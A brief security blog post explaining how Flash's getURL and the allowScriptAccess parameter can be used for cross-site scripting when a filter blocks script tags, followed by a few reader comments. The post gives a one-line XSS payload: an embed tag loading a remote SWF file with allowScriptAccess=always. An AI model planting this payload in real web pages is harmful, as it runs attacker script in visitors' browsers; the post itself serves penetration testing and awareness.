Flash XSS

I’ve known about this technique for years but everyone might not be aware that Flash can be used for XSS, so I’ve decide to do a quick post to explain. Using getURL in Flash allows you to call javascript using the javascript protocol and using the parameter allowScriptAccess enables you to perform cross domain execution. This can be useful in a penetration test were a filter allows the ‘<' character but disallows the script tag. Here's an example:-

<embed/src=//businessinfo.co.uk/labs/flashxss/flashxss.swf 
allowScriptAccess=always>

3 Responses to “Flash XSS”

  1. D.Taveira writes:

    Sou brasileira,
    gostei muito desse site parabéns!

    =)

  2. Gareth Heyes writes:

    @D.Taveira

    Glad you like the site :)

  3. Abeon Tech writes:

    Very useful to know.

    This site is very cool… Bookmarked :)